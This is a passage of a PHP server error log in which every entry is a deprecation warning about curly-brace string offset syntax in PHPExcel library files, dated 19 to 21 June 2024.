/home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 387 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/SYLK.php on line 436 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [19-Jun-2024 19:36:56 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [20-Jun-2024 01:37:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [20-Jun-2024 01:37:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [20-Jun-2024 01:37:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [20-Jun-2024 01:37:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [20-Jun-2024 01:37:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [20-Jun-2024 01:37:42 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [20-Jun-2024 01:47:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:32:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:32:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:32:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:32:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:32:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:32:49 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:33:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:33:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:33:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:33:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:33:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:33:09 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:33:30 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:34:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-Jun-2024 09:34:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-Jun-2024 09:34:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-Jun-2024 09:34:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-Jun-2024 09:34:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-Jun-2024 09:34:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [21-Jun-2024 09:34:27 UTC] PHP Deprecated: Array and string offset 